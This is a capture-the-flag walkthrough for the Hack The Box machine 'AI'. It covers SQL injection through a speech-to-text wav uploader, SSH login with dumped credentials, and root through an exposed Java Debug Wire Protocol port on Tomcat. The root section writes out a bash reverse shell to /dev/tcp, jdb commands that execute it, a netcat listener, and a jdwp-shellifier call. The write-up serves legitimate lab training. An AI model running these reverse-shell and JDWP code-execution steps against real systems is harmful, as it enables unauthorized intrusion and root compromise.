AI was an interesting 30 point box created by MrR3boot . It started out by finding a
wav file upload and using it to get SQL Injection. SQLi then allows you to dump SSH credentials which you use to log in and get user. You then have to abuse a Java/Tomcat/JDWP root process with some Java calls and
jdb to get code execution and return a reverse shell to get root.
We start the box with a quick TCP nmap scan:
1 2 3 4 5 6 7 8 9 10 11 12 13 # ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.163 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && nmap -sV -sC -T4 -p$ports 10.10.10.163 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) - creds needed. | ssh-hostkey: | 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA) | 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA) |_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Hello AI! Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I also added
ai.htb to my
http://ai.htb/ we come across the following page:
Browsing the site you’ll came across the
ai.php page which includes a
wav file uploader:
Test wav File
I used text2speech to generate a test
wav file using the
Male US voice. I entered some random commands to see what response I’d receive:
I was surprised when I saw the following
SQL syntax error:
After finding the SQL error I ran
gobuster to see if I was missing any information or important files:
1 2 3 4 # gobuster dir -u http://ai.htb -w /usr/share/wordlists/dirb/big.txt -x php -t 40 /db.php (Status: 200) /intelligence.php (Status: 200) /uploads (Status: 301)
It turns out a few things were needed.
db.php indicated some sort of database connection-esque script,
/uploads presumably stored the uploaded
wav files, and
intelligence.php displays the following information:
It would appear the uploaded
wav files are processed by their
Speech Recognition API. I used the commands from
intelligence.php and some from microsoft dictation docs to craft the SQL Injection
wav payloads in the following section.
SQL Injection wav File
The first step was to try to find out how many columns I had to work by using an
'order by payload and monitoring the response.
'order by 1 -- -, this ended up becoming
Open single quote order by 1 COMMENT DATABASE:
The output displayed nothing of interest:
Next I tried
'order by 2 -- - which became
Open single quote order by 2 COMMENT DATABASE:
I received an interesting response:
Knowing the column number I then attempted to get the database version using the following command:
I received the following response:
With successful data extraction I presumed we needed to get credentials to login via SSH. Due to the finicky nature of the SQLi I guessed that the table and key would be fairly straightforward.
union select username from users and
union select password from users returned true, you can see the
wav commands and responses in the following screenshots:
This returned the username -
Next was the password, I used the following command:
This returned the password -
With the credentials
alexa / H,Sq9t6}a<)?q93_ you can login via SSH and simply
cat the user flag.
1 2 3 4 5 6 7 8 # ssh email@example.com firstname.lastname@example.org's password: H,Sq9t6}a<)?q93_ alexa@AI:~$ id uid=1000(alexa) gid=1000(alexa) groups=1000(alexa) alexa@AI:~$ alexa@AI:~$ cat user.txt c43b62...
Browsing the file system I came across an
apache-tomcat directory in
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 alexa@AI:/opt$ ls apache-tomcat-9.0.27 alexa@AI:/opt$ alexa@AI:/opt$ cd apache-tomcat-9.0.27/ alexa@AI:/opt/apache-tomcat-9.0.27$ ls -la total 152 drwxr-xr-x 9 root root 4096 Oct 24 13:04 . drwxr-xr-x 3 root root 4096 Oct 21 14:14 .. drwxr-x--- 2 root root 4096 Oct 21 14:14 bin -rw-r----- 1 root root 18982 Oct 7 09:59 BUILDING.txt drwx------ 3 root root 4096 Oct 21 14:16 conf -rw-r----- 1 root root 5408 Oct 7 09:59 CONTRIBUTING.md drwxr-x--- 2 root root 4096 Oct 21 14:14 lib -rw-r----- 1 root root 57092 Oct 7 09:59 LICENSE drwxr-x--- 2 root root 4096 Jan 25 11:40 logs -rw-r----- 1 root root 2333 Oct 7 09:59 NOTICE -rw-r----- 1 root root 3255 Oct 7 09:59 README.md -rw-r----- 1 root root 6849 Oct 7 09:59 RELEASE-NOTES -rw-r----- 1 root root 16262 Oct 7 09:59 RUNNING.txt drwxr-x--- 2 root root 4096 Oct 21 14:14 temp drwxr-x--- 7 root root 4096 Oct 7 09:57 webapps drwxr-x--- 3 root root 4096 Oct 21 14:16 work
I thought this was odd as there didn’t appear to be a tomcat service running on the host.
ps aux | grep tomcat to see if any processes were running with the keyword ‘tomcat’, I received the following stdout:
1 2 alexa@AI:/opt/apache-tomcat-9.0.27$ ps aux | grep tomcat root 2650 60.5 5.4 3137572 108396 ? Sl 11:58 0:04 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
The following snippet in the output caught my eye:
jdwp stands for
Java Debug Wire Protocol. There are a bunch of CTFs based around exploiting JDWP as it has some major vulnerabilities.
I double-checked to see if port
8000 was listening on the host:
1 2 3 4 alexa@AI:/opt/apache-tomcat-9.0.27$ netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:8000 0.0.0.0:* LISTEN
With this in mind I port forwarded the JDWP service to my local machine so I could interact with it:
1 # ssh -q -f -N -p 22 email@example.com -L localhost:8000:127.0.0.1:8000
nmap against localhost on port
8000 confirmed JDWP was running on the host:
1 2 3 4 # nmap -sV localhost -p 8000 PORT STATE SERVICE VERSION 8000/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.4
If you’ve never heard of JDWP then the following snippet is for you:
The Java(TM) Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). JDWP is optional; it might not be available in some implementations of the Java(TM) 2 SDK. The existence of JDWP can allow the same debugger to work - ORACLE
If you upload and run
pspy you’ll notice the Java/tomcat/JDWP process running roughly every two minutes. This is important to know as it plays a part in the exploitation process:
This article explains the exploitation process perfectly, as well as every command (and its purpose) I’ve listed in this section. I recommend using
tmux to split your shell vertically so you can monitor the
pspy output and execute
jdb commands on Kali concurrently.
Below I’ve summarised what needs to be done to get code execution and a root reverse shell:
Create a reverse shell bash script in
1 2 3 alexa@AI:/tmp$ cat bash.sh #!/bin/bash /bin/bash -i >& /dev/tcp/10.10.14.36/1234 0>&1
Monitor the pspy output and wait for the Java/tomcat/JDWP process to execute (like in the
pspy section ^).
Run the following commands on Kali:
1 2 3 # jdb -attach localhost:8000 > stop in org.apache.tomcat.util.collections.SynchronizedQueue.size
You’ll then receive a
Breakpoint hit: message and a prompt like the following:
Enter the following command at the prompt:
1 print new java.lang.Runtime().exec("/tmp/bash.sh")
Wait a few seconds and receive root shell on netcat listener:
1 2 3 4 5 6 7 # nc -nlvp 1234 listening on [any] 1234 connect to [10.10.14.6] from (UNKNOWN) [10.10.10.163] 34942 ... root@AI:~# id id uid=0(root) gid=0(root) groups=0(root)
The following screenshot demonstrates the
tmux set up and subsequently getting root:
You can use this exploit which pretty much automates the manual JDWP exploitation process.
1 alexa@AI:/tmp$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /tmp/bash.sh